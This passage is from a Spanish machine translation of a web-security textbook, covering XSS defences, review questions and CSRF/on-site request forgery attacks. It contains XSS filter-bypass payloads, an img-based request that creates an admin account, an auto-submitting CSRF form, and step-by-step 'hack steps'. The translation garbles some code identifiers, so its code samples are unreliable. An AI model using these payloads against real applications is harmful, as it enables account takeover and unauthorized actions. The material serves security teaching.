que inmediatamente parecen ser útiles para un atacante en el contexto específico. Por
ejemplo, si se inserta un elemento en una cadena entre comillas dobles, la aplicación podría
codificar solo el carácter “ . Si el elemento se inserta sin comillas en una etiqueta, podría
codificar solo el carácter > . Este enfoque aumenta considerablemente el riesgo de que se
encuentren desvíos. Como ha visto, un atacante a menudo puede aprovechar la tolerancia
de los navegadores a HTML y JavaScript no válidos para cambiar el contexto o inyectar
código de formas inesperadas. Además, a menudo es posible expandir un ataque a través
de múltiples campos controlables, aprovechando los diferentes filtros que se emplean en
cada uno. Un enfoque mucho más sólido es codificar siempre en HTML cada carácter que
pueda ser de uso potencial para un atacante, independientemente del contexto en el que se
inserte. Para proporcionar el mayor nivel de seguridad posible, los desarrolladores pueden
optar por codificar en HTML todos los caracteres no alfanuméricos, incluidos los espacios
en blanco. Este enfoque normalmente impone una sobrecarga no medible en la aplicación y
presenta un obstáculo severo para cualquier tipo de ataque de derivación de filtro.
La razón para combinar la validación de entrada y el saneamiento de salida es que esto

involucra dos capas de defensas, cualquiera de las cuales brinda cierta protección si la otra
falla. Como ha visto, muchos fi ltros que realizan entradas y
la validación de salida está sujeta a omisiones. Al emplear ambas técnicas, la aplicación

obtiene cierta seguridad adicional de que un atacante será derrotado incluso si se
descubre que uno de sus dos filtros es defectuoso. De las dos defensas, la validación
de salida es la más importante y es obligatoria. La realización de una validación de
entrada estricta debe verse como una conmutación por error secundaria.
Por supuesto, al diseñar la lógica de validación de entrada y salida en sí, se debe tener mucho
cuidado para evitar cualquier vulnerabilidad que conduzca a omisiones. En particular, el filtrado y la
codificación deben llevarse a cabo después de cualquier canonicalización relevante , y los datos no
deben canonizarse más posteriormente. La aplicación también debe asegurarse de que la presencia
de cualquier byte NULL no interfiera con su validación.
Eliminar puntos de inserción peligrosos

Hay algunas ubicaciones dentro de la página de la aplicación donde es demasiado peligroso
insertar información proporcionada por el usuario, y los desarrolladores deben buscar un medio
alternativo para implementar la funcionalidad deseada.
Siempre que sea posible, debe evitarse la inserción de datos controlables por el usuario
directamente en el código de secuencia de comandos existente . Esto se aplica al código dentro de
las etiquetas <script> y también al código dentro de los controladores de eventos. Cuando las
aplicaciones intentan hacer esto de manera segura, con frecuencia es posible eludir sus filtros
defensivos. Y una vez que un atacante ha tomado el control del contexto de los datos que controla,
generalmente necesita realizar un trabajo mínimo para inyectar comandos de script arbitrarios y,
por lo tanto, realizar acciones maliciosas.
Cuando un atributo de etiqueta puede tomar una URL como su valor, las aplicaciones generalmente
deben evitar incrustar la entrada del usuario, ya que se pueden usar varias técnicas para introducir código
de secuencia de comandos, incluido el uso de pseudo-protocolos de secuencias de comandos.
Otro escollo a evitar son las situaciones en las que un atacante puede manipular el juego de
caracteres de la respuesta de la aplicación, ya sea inyectándolo en una directiva relevante o porque
la aplicación usa un parámetro de solicitud para especificar el juego de caracteres preferido. En
esta situación, los filtros de entrada y salida que están bien diseñados en otros aspectos pueden
fallar porque la entrada del atacante está codificada en una forma inusual que los filtros no
reconocen como potencialmente maliciosa.
Siempre que sea posible, la aplicación debe especificar explícitamente un tipo de codificación en
sus encabezados de respuesta, rechazar cualquier forma de modificarlo y asegurarse de que sus
filtros XSS sean compatibles con él. Por ejemplo:
Tipo de contenido: texto/html; conjunto de caracteres = ISO-8859-1
Permitir HTML limitado

Algunas aplicaciones deben permitir que los usuarios envíen datos en formato HTML que se insertarán
en las respuestas de la aplicación. Por ejemplo, una aplicación de blogs puede
Permitir a los usuarios escribir comentarios usando HTML, aplicar formato a sus comentarios,
incrustar enlaces o imágenes, etc. En esta situación, la aplicación generalizada de las medidas
anteriores supondrá la ruptura de la aplicación. El marcado HTML de los usuarios estará
codificado en HTML en las respuestas y, por lo tanto, se mostrará en la pantalla como marcado
real, en lugar de como el contenido formateado que se requiere.
Para que una aplicación admita esta funcionalidad de forma segura, debe ser robusta y
permitir solo un subconjunto limitado de HTML, que no proporciona ningún medio para
introducir código de secuencia de comandos. Esto debe implicar un enfoque de lista blanca
en el que solo se permitan etiquetas y atributos específicos. Hacer esto con éxito no es una
tarea trivial porque, como ha visto, existen numerosas formas de usar etiquetas aparentemente
inofensivas para ejecutar código.
Por ejemplo, si la aplicación permite las etiquetas <b> y <i> y no considera
ningún atributo utilizado con estas tareas, es posible que se produzcan los
siguientes ataques:
<b style=behavior:url(#default#time2) onbegin=alert(1)> <i onclick=alert(1)>Haga clic
aquí</i>
Además, si la aplicación permite la combinación aparentemente segura de los

<a> etiqueta con el atributo href , el siguiente ataque puede funcionar:
<a href=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>Haga clic aquí</a>
Hay varios marcos disponibles para validar el marcado HTML proporcionado por el usuario
para tratar de garantizar que no contenga ningún medio para ejecutar JavaScript, como el
proyecto OWASP AntiSamy. Se recomienda que los desarrolladores que necesitan permitir
que los usuarios creen HTML limitado deben usar un marco maduro adecuado directamente
o deben examinar de cerca uno de ellos para comprender los diversos desafíos involucrados.
Un enfoque alternativo es hacer uso de un lenguaje de marcado intermedio personalizado.

Los usuarios pueden usar la sintaxis limitada del lenguaje intermedio, que luego la aplicación
procesa para generar el marcado HTML correspondiente.
Prevención de XSS basado en DOM

Las defensas descritas hasta ahora obviamente no se aplican directamente a XSS basado en
DOM, porque la vulnerabilidad no implica que los datos controlados por el usuario se copien
en las respuestas del servidor.
Siempre que sea posible, las aplicaciones deben evitar el uso de scripts del lado del cliente
para procesar datos DOM e insertarlos en la página. Debido a que los datos que se procesan
están fuera del control directo del servidor y, en algunos casos, incluso fuera de su visibilidad,
este comportamiento es inherentemente riesgoso.
Si se considera inevitable usar scripts del lado del cliente de esta manera, las fallas
XSS basadas en DOM se pueden prevenir a través de dos tipos de defensas,
correspondientes a la validación de entrada y salida descrita para XSS reflejado.
Validar entrada
En muchas situaciones, las aplicaciones pueden realizar una validación rigurosa de los
datos que se procesan. De hecho, esta es un área donde la validación del lado del cliente
puede ser más efectiva que la validación del lado del servidor. En el ejemplo vulnerable
descrito anteriormente, el ataque se puede prevenir validando que los datos que se van a
insertar en el documento contengan solo caracteres alfanuméricos y espacios en blanco. Por ejemplo:
<script>
var a = documento.URL; a =
a.substring(a.indexOf(“mensaje=”) + 8, a.longitud);
a = no escapar(a); var
expresión regular=/^([A-Za-z0-9+\s])*$/; if
(regex.prueba(a)) documento.escribir(a);
</script>
Además de este control del lado del cliente, la validación rigurosa del lado del servidor de los datos
de URL se puede emplear como una medida de defensa en profundidad para detectar solicitudes que
pueden contener vulnerabilidades maliciosas para fallas XSS basadas en DOM. En el mismo ejemplo
que se acaba de describir, en realidad sería posible que una aplicación prevenga un ataque empleando
solo la validación de datos del lado del servidor verificando lo siguiente:
n La cadena de consulta contiene un único parámetro. n El
nombre del parámetro es mensaje (comprobación que distingue entre
mayúsculas y minúsculas). n El valor del parámetro contiene solo contenido alfanumérico.
Con estos controles implementados, aún sería necesario que la secuencia de comandos del lado
del cliente analizara correctamente el valor del parámetro del mensaje , asegurándose de que no se
incluyera ningún fragmento de la URL.
Validar salida
Al igual que con las fallas XSS reflejadas, las aplicaciones pueden codificar HTML de datos DOM
controlables por el usuario antes de que se inserten en el documento. Esto permite que todo tipo de
caracteres y expresiones potencialmente peligrosos se muestren dentro de la página de forma segura.
La codificación HTML se puede implementar en JavaScript del lado del cliente con una función como
la siguiente:
función desinfectar (str)

{
var d = documento.createElement('div');
d.appendChild(document.createTextNode(str)); volver d.innerHTML;
Resumen
Este capítulo ha examinado las diversas formas en que pueden surgir vulnerabilidades XSS y
las formas en que se pueden eludir las defensas comunes basadas en filtros.
Debido a que las vulnerabilidades XSS son tan frecuentes, a menudo es sencillo encontrar varios
errores dentro de una aplicación que son fáciles de explotar. XSS se vuelve más interesante, al
menos desde una perspectiva de investigación, cuando existen varias defensas que lo obligan a
diseñar una entrada altamente elaborada, o aprovechar alguna característica poco conocida de
HTML, JavaScript o VBScript, para ofrecer una explotación funcional.
El siguiente capítulo se basa en esta base y examina una amplia variedad de formas
adicionales en las que los defectos en la aplicación web del lado del servidor pueden dejar a sus
usuarios expuestos a ataques maliciosos.
Preguntas
1. ¿Qué "firma" estándar en el comportamiento de una aplicación se puede usar para

identificar la mayoría de las instancias de vulnerabilidades XSS?
2. Descubre una vulnerabilidad XSS reflejada dentro del área no autenticada de la

funcionalidad de una aplicación. Indique dos formas diferentes en las que la vulnerabilidad
podría usarse para comprometer una sesión autenticada dentro de la aplicación.
3. Descubre que el contenido de un parámetro de cookie se copia sin ningún tipo de filtro o
desinfección en la respuesta de la aplicación. ¿Se puede usar este comportamiento para
inyectar JavaScript arbitrario en la página devuelta? ¿Se puede explotar para realizar un
ataque XSS contra otro usuario?
4. Descubre el comportamiento XSS almacenado dentro de los datos que solo se le muestran
a usted mismo. ¿Tiene este comportamiento algún significado de seguridad?
5. Está atacando una aplicación de correo web que maneja archivos adjuntos y los muestra
en el navegador. ¿Qué vulnerabilidad común debe verificar de inmediato?
6. ¿Cómo afecta la política del mismo origen al uso de la tecnología Ajax?

tecnología XMLHttpRequest?
7. Mencione tres posibles cargas útiles de ataque para vulnerabilidades XSS (es
decir, las acciones maliciosas que puede realizar en el navegador de otro usuario,
no los métodos por los cuales lanza los ataques).
8. Ha descubierto una vulnerabilidad XSS reflejada en la que puede inyectar
datos arbitrarios en una sola ubicación dentro del HTML de la página
devuelta. Los datos insertados se truncan a 50 bytes, pero desea inyectar
un script extenso. Prefiere no llamar a un script en un servidor externo.
¿Cómo se puede evitar el límite de longitud?
9. Descubre una falla XSS reflejada en una solicitud que debe usar el método
POST . ¿Qué mecanismos de entrega son factibles para realizar un ataque?
CAPÍTULO R
13
Usuarios atacantes: Otros

Técnicas
El capítulo anterior examinó el antepasado de los ataques contra otros usuarios de

aplicaciones: las secuencias de comandos entre sitios (XSS). Este capítulo describe una
amplia gama de otros ataques contra los usuarios. Algunos de estos tienen similitudes
importantes con los ataques XSS. En muchos casos, los ataques son más complejos o sutiles
que los ataques XSS y pueden tener éxito en situaciones en las que el XSS simple no es posible.
Los ataques contra otros usuarios de aplicaciones se presentan de muchas formas y
manifiestan una variedad de sutilezas y matices que con frecuencia se pasan por alto. También
son menos conocidos en general que los ataques primarios del lado del servidor, con diferentes
fallas combinadas o ignoradas incluso por algunos probadores de penetración experimentados.
Describiremos todas las diferentes vulnerabilidades que se encuentran comúnmente y
detallaremos los pasos que debe seguir para identificar y explotar cada una de ellas.
Inducir acciones del usuario
El capítulo anterior describió cómo se pueden usar los ataques XSS para inducir a un usuario
a realizar acciones sin saberlo dentro de la aplicación. Cuando el usuario de la víctima tiene
privilegios administrativos, esta técnica puede conducir rápidamente a un compromiso
completo de la aplicación. Esta sección examina algunos métodos adicionales que se pueden
usar para inducir acciones por parte de otros usuarios. Estos métodos se pueden utilizar
incluso en aplicaciones protegidas contra XSS.
501
502 Capítulo 13 n Atacar a los usuarios: otras técnicas
Solicitar falsificación
Esta categoría de ataque (también conocida como conducción de sesión) está estrechamente
relacionada con los ataques de secuestro de sesión, en los que un atacante captura el token de
sesión de un usuario y, por lo tanto, puede usar la aplicación "como" ese usuario. Sin embargo, con
la falsificación de solicitudes, el atacante nunca necesita conocer el token de sesión de la víctima.
Más bien, el atacante aprovecha el comportamiento normal de los navegadores web para secuestrar
el token de un usuario, lo que hace que se use para realizar solicitudes que el usuario no tiene la intención de realizar.
Las vulnerabilidades de falsificación de solicitudes vienen en dos sabores: en el sitio y entre sitios.
Falsificación de solicitud en el sitio
La falsificación de solicitud en el sitio (OSRF) es una carga útil de ataque familiar para explotar
vulnerabilidades XSS almacenadas. En el gusano de MySpace, descrito en el capítulo anterior, un
usuario llamado Samy colocó una secuencia de comandos en su perfil que provocó que cualquier
usuario que viera el perfil realizara varias acciones involuntarias. Lo que a menudo se pasa por alto es
que las vulnerabilidades OSRF almacenadas pueden existir incluso en situaciones en las que XSS no
es posible.
Considere una aplicación de tablero de mensajes que permita a los usuarios enviar
elementos que otros usuarios ven. Los mensajes se envían mediante una solicitud como la siguiente:
POST /submit.php Host:
wahh-app.com Longitud del
contenido: 34
tipo=pregunta&nombre=daf&mensaje=foo
Esta solicitud da como resultado que se agregue lo siguiente a la página de mensajes:
<tr>
<td><img src=”/images/question.gif”></td> <td>daf</td>
<td>foo</td>
</tr>
En esta situación, por supuesto, probaría fallas XSS. Sin embargo, suponga que
“ inserta los caracteres < y >
que la aplicación esté correctamente codificando HTML en la
página. Cuando esté satisfecho de que esta defensa no se puede eludir de ninguna manera, puede
pasar a la siguiente prueba.
Pero mira de nuevo. Usted controla parte del objetivo de la etiqueta <img> . Aunque no puede
romper la cadena entre comillas, puede modificar la URL para que cualquier usuario que vea su
mensaje realice una solicitud GET arbitraria en el sitio. Por ejemplo, enviar el siguiente valor en el
parámetro de tipo hace que cualquier persona que vea su mensaje realice una solicitud para intentar
agregar un nuevo usuario administrativo:
../admin/nuevoUsuario.php?username=daf2&password=0wned&role=admin#
Capítulo 13 n Atacar a los usuarios: otras técnicas 503
Cuando se induce a un usuario común a emitir su solicitud elaborada, por supuesto,

falla. Pero cuando un administrador ve su mensaje, se crea su cuenta de puerta trasera.
Ha realizado un ataque OSRF exitoso aunque XSS no fue posible. Y, por supuesto, el
ataque tiene éxito incluso si los administradores toman la precaución de deshabilitar
JavaScript.
En la cadena de ataque anterior, tenga en cuenta el carácter # que efectivamente
termina la URL antes del sufijo .gif . Puede usar & fácilmente para incorporar el sufijo
como otro parámetro de solicitud.
¡INTENTALO!
En este ejemplo, se puede colocar un exploit OSRF en la lista de búsquedas recientes,

aunque no es vulnerable a XSS:
PASOS DE HACK
1. En cada ubicación donde los datos enviados por un usuario se muestran a otros usuarios
pero no puede realizar un ataque XSS almacenado, revise si el comportamiento de la
aplicación la hace vulnerable a OSRF.
2. La vulnerabilidad generalmente surge cuando los datos proporcionados por el usuario se

insertan en el destino de un hipervínculo u otra URL dentro de la página devuelta. A menos
que la aplicación bloquee específicamente los caracteres que necesita (por lo general,
puntos, barras y los delimitadores utilizados en la cadena de consulta), es casi seguro que
es vulnerable.
3. Si descubre una vulnerabilidad OSRF, busque una solicitud adecuada para tar
obtenga su exploit, como se describe en la siguiente sección para la falsificación de
solicitudes entre sitios.
Las vulnerabilidades de OSRF se pueden prevenir validando la entrada del usuario

de la manera más estricta posible antes de que se incorpore a las respuestas. Por
ejemplo, en el caso específi co descrito, la aplicación podría verificar que el parámetro
de tipo tiene uno de un rango específi co de valores. Si la aplicación debe aceptar otros
valores que no puede anticipar de antemano, se debe bloquear la entrada que contenga
cualquiera de los caracteres /.\?& y = .
Tenga en cuenta que la codificación HTML de estos caracteres no es una defensa eficaz contra
los ataques OSRF, ya que los navegadores descodificarán la cadena de URL de destino antes de
que se solicite.
Según el punto de inserción y el contexto circundante, también puede ser posible
evitar los ataques OSRF utilizando las mismas defensas descritas en la siguiente sección
para los ataques de falsificación de solicitudes entre sitios.
Falsificación de solicitud entre sitios
En los ataques de falsificación de solicitudes entre sitios (CSRF), el atacante crea un sitio web
de aspecto inocuo que hace que el navegador del usuario envíe una solicitud directamente a la
aplicación vulnerable para realizar alguna acción no deseada que es beneficiosa para el atacante.
Recuerde que la política del mismo origen no prohíbe que un sitio web emita solicitudes a un
dominio diferente. Sin embargo, evita que el sitio web de origen procese las respuestas a las
solicitudes entre dominios. Por lo tanto, los ataques CSRF normalmente son "unidireccionales"
solamente. Las acciones de varias etapas, como las involucradas en el gusano Samy XSS, en el
que los datos se leen de las respuestas y se incorporan a las solicitudes posteriores, no se
pueden realizar mediante un ataque CSRF puro. (Algunos métodos mediante los cuales las
técnicas CSRF pueden extenderse para realizar ataques bidireccionales limitados y capturar
datos entre dominios se describen más adelante en este capítulo).
Considere una aplicación en la que los administradores puedan crear nuevas cuentas de usuario
utilizando solicitudes como las siguientes:
POST /auth/390/NewUserStep2.ashx HTTP/1.1

Cookie: ID de sesión = 8299BE6B260193DA076383A2385B07B9
nombre real=daf&nombre de usuario=daf&usuario=admin&contraseña=letmein1&

confirmar contraseña = dejarme entrar1
Esta solicitud tiene tres características clave que la hacen vulnerable a los ataques CSRF:
n La solicitud realiza una acción privilegiada. En el ejemplo que se muestra, el

solicitud crea un nuevo usuario con privilegios administrativos.
n La aplicación se basa únicamente en cookies HTTP para el seguimiento de las sesiones.

No se transmiten tokens relacionados con la sesión en ningún otro lugar dentro de la
solicitud. n El atacante puede determinar todos los parámetros necesarios para realizar la
acción. Aparte del token de sesión en la cookie, no es necesario incluir valores
impredecibles en la solicitud.
En conjunto, estas características significan que un atacante puede construir una página web
que realiza una solicitud entre dominios a la aplicación vulnerable que contiene todo lo necesario
para realizar la acción privilegiada. Aquí hay un ejemplo de tal ataque:
<html>
<cuerpo>
<forma acción=”https://mdsec.net/auth/390/NewUserStep2.ashx”
método = "POST">
<tipo de entrada=”oculto” nombre=”nombre real” valor=”daf”> <tipo de

entrada=”oculto” nombre=”nombre de usuario” valor=”daf”> <tipo de
entrada=”oculto” nombre=”función de usuario” valor= ”admin”> <input type=”hidden”
name=”password” value=”letmein1”> <input type=”hidden” name=”confirmpassword”
value=”letmein1”>
</formulario>
<script>
documento.formularios[0].submit(); </script>
</cuerpo>
</html>
Este ataque coloca todos los parámetros de la solicitud en campos de formulario

ocultos y contiene un script para enviar automáticamente el formulario. Cuando el
navegador del usuario envía el formulario, agrega automáticamente las cookies del
usuario para el dominio de destino y la aplicación procesa la solicitud resultante de la
forma habitual. Si un usuario administrativo que ha iniciado sesión en la aplicación
vulnerable visita la página web del atacante que contiene este formulario, la solicitud se
procesa dentro de la sesión del administrador y se crea la cuenta del atacante.
¡INTENTALO!
Dave Armstrong encontró un ejemplo del mundo real de una falla CSRF en la aplicación de eBay
en 2004. Fue posible crear una URL que provocó que el usuario solicitante hiciera una oferta arbitraria
por un artículo de subasta. Un sitio web de terceros podría hacer que los visitantes soliciten esta URL,
de modo que cualquier usuario de eBay que visite el sitio web haga una oferta. Además, con un poco
de trabajo, fue posible explotar la vulnerabilidad en un ataque OSRF almacenado dentro de la propia
aplicación de eBay. La aplicación permitía a los usuarios colocar etiquetas <img> dentro de las
descripciones de las subastas. Para defenderse de los ataques, la aplicación validó que el objetivo de
la etiqueta devolviera un archivo de imagen real. Sin embargo, fue posible colocar un enlace a un
servidor externo que devolvió una imagen legítima cuando se creó el artículo de la subasta y,
posteriormente, reemplazar esta imagen con una redirección HTTP a la URL CSRF diseñada.
Por lo tanto, cualquiera que haya visto el artículo de la subasta, sin darse cuenta, haría una oferta por
él. Se pueden encontrar más detalles en la publicación original de Bugtraq:
http://archive.cert.uni-stuttgart.de/bugtraq/2005/04/msg00279.html
NOTA El defecto en la validación de la aplicación de imágenes fuera del sitio se conoce

como falla de “tiempo de verificación, tiempo de uso” (TOCTOU). Un elemento se valida en
un momento y se utiliza en otro momento, y un atacante puede modificar su valor en la
ventana entre estos momentos.
Explotación de fallas de
CSRF Las vulnerabilidades de CSRF surgen principalmente en los casos en que las aplicaciones
dependen únicamente de las cookies HTTP para el seguimiento de las sesiones. Una vez que una
aplicación ha establecido una cookie en el navegador de un usuario, el navegador envía
automáticamente esa cookie a la aplicación en cada solicitud posterior. Esto es cierto
independientemente de si la solicitud se origina en un enlace, un formulario dentro de la propia
aplicación o de cualquier otra fuente , como un sitio web externo o un enlace en el que se hizo clic
en un correo electrónico. Si la aplicación no toma precauciones contra el "equilibrio" de un atacante
en las sesiones de sus usuarios de esta manera, es vulnerable a CSRF.
PASOS DE HACK
1. Revise la funcionalidad clave dentro de la aplicación, como se identificó en los

ejercicios de mapeo de su aplicación (consulte el Capítulo 4).
2. Encuentre una función de aplicación que pueda usarse para realizar

acción activa en nombre de un usuario involuntario, que se basa únicamente
en cookies para rastrear las sesiones del usuario y que emplea parámetros de
solicitud que un atacante puede determinar completamente por adelantado, es
decir, que no contienen otros tokens o elementos impredecibles.
3. Cree una página HTML que emita la solicitud deseada sin ninguna interacción
del usuario. Para solicitudes GET, puede colocar una etiqueta <img> con el
atributo src establecido en la URL vulnerable. Para solicitudes POST, puede
crear un formulario que contenga campos ocultos para todos los parámetros
relevantes requeridos para el ataque y que tenga su objetivo establecido en la
URL vulnerable. Puede usar JavaScript para enviar automáticamente el formulario tan pronto como se cargue la p
4. Mientras está conectado a la aplicación, use el mismo navegador para cargar su

página HTML creada. Verifique que la acción deseada se lleva a cabo dentro de la
aplicación.
SUGERENCIA La posibilidad de ataques CSRF altera el impacto de muchas otras

categorías de vulnerabilidad al introducir un vector adicional para su explotación. Por
ejemplo, considere una función administrativa que toma un identificador de usuario en
un parámetro y muestra información sobre el usuario especificado.
La función está sujeta a un riguroso control de acceso, pero contiene una vulnerabilidad
de inyección SQL en el parámetro uid. Dado que los administradores de aplicaciones
son de confianza y tienen el control total de la base de datos en cualquier caso, la
vulnerabilidad de inyección SQL podría considerarse de bajo riesgo. Sin embargo,
debido a que la función no realiza (como se pretendía originalmente) ninguna acción
administrativa, no está protegida contra CSRF. Desde la perspectiva de un atacante, la función es igual de
significativo como uno diseñado específi camente para que los administradores ejecuten
consultas SQL arbitrarias. Si se puede inyectar una consulta que realiza alguna acción
confidencial o que recupera datos a través de algún canal fuera de banda, este ataque
puede ser realizado por usuarios no administrativos a través de CSRF.
Autenticación y CSRF
Dado que los ataques CSRF implican realizar alguna acción privilegiada dentro del
contexto de la sesión del usuario víctima, normalmente requieren que el usuario inicie
sesión en la aplicación en el momento del ataque.
Un lugar donde han surgido numerosas vulnerabilidades CSRF peligrosas es en las interfaces
web utilizadas por los enrutadores DSL domésticos. Estos dispositivos a menudo contienen
funciones sensibles, como la capacidad de abrir todos los puertos en el cortafuegos orientado a
Internet. Dado que estas funciones a menudo no están protegidas contra CSRF, y dado que la
mayoría de los usuarios no modifican la dirección IP interna predeterminada del dispositivo, son
vulnerables a los ataques CSRF lanzados por sitios externos maliciosos. Sin embargo, los
dispositivos en cuestión a menudo requieren autenticación para realizar cambios sensibles y,
por lo general, la mayoría de los usuarios no inician sesión en su dispositivo.
Si la interfaz web del dispositivo usa autenticación basada en formularios, a menudo es
posible realizar un ataque en dos etapas iniciando primero la sesión del usuario en el dispositivo
y luego realizando la acción autenticada. Dado que la mayoría de los usuarios no modifican las
credenciales predeterminadas para dispositivos de este tipo (quizás suponiendo que solo se
puede acceder a la interfaz web desde la red doméstica interna), la página web del atacante
puede emitir primero una solicitud de inicio de sesión que contenga las credenciales
predeterminadas. Luego , el dispositivo establece un token de sesión en el navegador del
usuario, que se envía automáticamente en cualquier solicitud posterior, incluidas las generadas por el atacante.
En otras situaciones, un atacante puede requerir que el usuario de la víctima inicie sesión en
la aplicación en el propio contexto de usuario del atacante para lanzar un ataque específico. Por
ejemplo, considere una aplicación que permita a los usuarios cargar y almacenar archivos.
Estos archivos pueden ser descargados más tarde, pero solo por el usuario que los cargó.
Suponga que la función se puede usar para realizar ataques XSS almacenados, porque no se
filtran los contenidos de los archivos (consulte el Capítulo 12). Esta vulnerabilidad puede parecer
inofensiva, sobre la base de que un atacante solo podría usarla para atacarse a sí mismo. Sin
embargo, al usar técnicas CSRF, un atacante puede explotar la vulnerabilidad XSS almacenada
para comprometer a otros usuarios. Como ya se describió, la página web del atacante puede
realizar una solicitud CSRF para obligar a un usuario víctima a iniciar sesión con las credenciales
del atacante. La página del atacante puede realizar una solicitud CSRF para descargar un
archivo malicioso. Cuando el navegador del usuario procesa este archivo, la carga útil XSS del
atacante se ejecuta y la sesión del usuario con la aplicación vulnerable se ve comprometida.
Aunque la víctima está actualmente conectada usando
la cuenta del atacante, esto no tiene por qué ser el final del ataque. Como se describe en el
Capítulo 12, el exploit XSS puede persistir en el navegador del usuario y realizar acciones
arbitrarias, desconectando al usuario de su sesión actual con la aplicación vulnerable e
induciéndolo a volver a iniciar sesión con sus propias credenciales.
Prevención de fallas de
CSRF Las vulnerabilidades de CSRF surgen debido a la forma en que los navegadores envían
automáticamente las cookies al servidor web emisor con cada solicitud posterior. Si una
aplicación web se basa únicamente en cookies HTTP como mecanismo para rastrear sesiones,
está inherentemente en riesgo de sufrir este tipo de ataque.
La defensa estándar contra los ataques CSRF es complementar las cookies HTTP con
métodos adicionales de seguimiento de sesiones. Esto generalmente toma la forma de tokens
adicionales que se transmiten a través de campos ocultos en formularios HTML.
Cuando se envía cada solicitud, además de validar las cookies de sesión, la aplicación verifica
que se recibió el token correcto en el envío del formulario.
Suponiendo que el atacante no tiene forma de determinar el valor de este token, no puede
construir una solicitud entre dominios que logre realizar la acción deseada.
NOTA Incluso las funciones que se defienden sólidamente mediante tokens CSRF pueden
ser vulnerables a los ataques de reparación de la interfaz de usuario (UI), como se describe más
adelante en este capítulo.
Cuando los tokens anti-CSRF se usan de esta manera, deben estar sujetos a las mismas
medidas de seguridad que los tokens de sesión normales. Si un atacante puede predecir los
valores de los tokens que se emiten a otros usuarios, es posible que pueda determinar todos
los parámetros necesarios para una solicitud CSRF y, por lo tanto, seguir lanzando un ataque.
Además, si los tokens anti-CSRF no están vinculados a la sesión del usuario para
el que se emitieron, un atacante puede obtener un token válido dentro de su propia
sesión y utilizarlo en un ataque CSRF dirigido a la sesión de un usuario diferente. .
¡INTENTALO!
ADVERTENCIA Algunas aplicaciones usan tokens anti-CSRF relativamente cortos asumiendo

que no estarán sujetos a ataques de fuerza bruta en la forma en que podrían estarlo los tokens
de sesión corta. Cualquier ataque que enviara un rango de valores posibles a la aplicación
tendría que enviarlos a través del navegador de la víctima, lo que implicaría una gran cantidad
de solicitudes que podrían detectarse fácilmente. Es más,
la aplicación puede terminar defensivamente la sesión del usuario si recibe

demasiados tokens anti-CSRF no válidos, lo que detiene el ataque.
Sin embargo, esto ignora la posibilidad de realizar un ataque de fuerza bruta únicamente
en el lado del cliente, sin enviar ninguna solicitud al servidor. En algunas situaciones,
este ataque se puede realizar utilizando una técnica basada en CSS para enumerar el
historial de navegación de un usuario. Para que tal ataque tenga éxito, se deben cumplir dos condiciones:
n En ocasiones, la aplicación debe transmitir un token anti-CSRF dentro de la
cadena de consulta de URL. Este suele ser el caso, porque se accede a muchas
funciones protegidas a través de hipervínculos simples que contienen un token
dentro de la URL de destino.
n La aplicación debe usar el mismo token anti-CSRF durante toda la sesión del
usuario o tolerar el uso del mismo token más de una vez. Este suele ser el caso
para mejorar la experiencia del usuario y permitir el uso de los botones de avance
y retroceso del navegador.
Si se cumplen estas condiciones y el usuario objetivo ya ha visitado una URL que

incluye un token anti-CSRF, el atacante puede realizar un ataque de fuerza bruta desde
su propia página. Aquí, un script en la página del atacante crea dinámicamente
hipervínculos a la URL relevante en la aplicación de destino, incluido un valor diferente
para el token anti-CSRF en cada enlace. Luego usa la API de JavaScript getCom
putedStyle para probar si el usuario ha visitado el enlace. Cuando se identifica un enlace
visitado, se ha encontrado un token anti-CSRF válido y la página del atacante puede
usarlo para realizar acciones confidenciales en nombre del usuario.
Tenga en cuenta que para defenderse de los ataques CSRF, no es suficiente

simplemente realizar acciones sensibles mediante un proceso de varias etapas. Por
ejemplo, cuando un administrador agrega una nueva cuenta de usuario, puede ingresar los
detalles relevantes en la primera etapa y luego revisar y confirmar los detalles en la
segunda etapa. Si no se utilizan tokens anti-CSRF adicionales, la función sigue siendo
vulnerable a CSRF, y un atacante puede simplemente emitir las dos solicitudes requeridas
a la vez o (muy a menudo) proceder directamente a la segunda solicitud.
Ocasionalmente, una función de aplicación emplea un token adicional que se
establece en una respuesta y se envía en la siguiente solicitud. Sin embargo, la
transición entre estos dos pasos implica una redirección, por lo que la defensa no logra nada.
Aunque CSRF es un ataque unidireccional y no se puede usar para leer tokens de las
respuestas de la aplicación, si una respuesta CSRF contiene una redirección a una URL
diferente que contiene un token, el navegador de la víctima sigue automáticamente la
redirección y envía automáticamente el token con esta solicitud.
¡INTENTALO!
No cometa el error de confiar en el encabezado HTTP Referer para indicar si una solicitud
se originó en el sitio o fuera del sitio. El encabezado Referer se puede falsificar con versiones
anteriores de Flash o enmascarar con una etiqueta de actualización meta. En general, el
encabezado Referer no es una base confiable sobre la cual construir defensas de seguridad
dentro de las aplicaciones web.
Derrotar las defensas anti-CSRF a través de

XSS A menudo se afirma que las defensas anti-CSRF se pueden derrotar si la aplicación
contiene vulnerabilidades XSS. Pero esto es sólo parcialmente cierto. El pensamiento detrás
de la afirmación es correcto: debido a que las cargas útiles de XSS se ejecutan en el sitio,
pueden realizar una interacción bidireccional con la aplicación y, por lo tanto, pueden recuperar
tokens de las respuestas de la aplicación y enviarlos en solicitudes posteriores.
Sin embargo, si una página que está protegida por defensas anti-CSRF también contiene
una falla XSS reflejada, esta falla no se puede usar fácilmente para romper las defensas. No
olvide que la solicitud inicial en un ataque XSS reflejado es en sí misma entre sitios. El atacante
crea una solicitud URL o POST que contiene una entrada maliciosa que se copia en la
respuesta de la aplicación. Pero si la página vulnerable implementa defensas anti-CSRF, la
solicitud diseñada por el atacante ya debe contener el token requerido para tener éxito. Si no
es así, la solicitud se rechaza y la ruta del código que contiene el error de XSS reflejado no se
ejecuta. El problema aquí no es si el script inyectado puede leer cualquier token contenido en
la respuesta de la aplicación (por supuesto que puede). El problema consiste en convertir el
script en una respuesta que contenga esos tokens en primer lugar.
De hecho, hay varias situaciones en las que se pueden explotar las vulnerabilidades XSS
para derrotar las defensas anti-CSRF:
n Si hay fallas XSS almacenadas dentro de la funcionalidad defendida,

siempre se pueden explotar para derrotar las defensas. El
JavaScript inyectado a través del ataque almacenado puede leer
directamente los tokens contenidos en la misma respuesta en la
que aparece el script. que no se defiende contra CSRF, esa falla
puede explotarse para derrotar las defensas anti-CSRF.
Por ejemplo, si una aplicación emplea tokens anti-CSRF para proteger solo el segundo
paso de una función de transferencia de fondos, un atacante puede aprovechar un
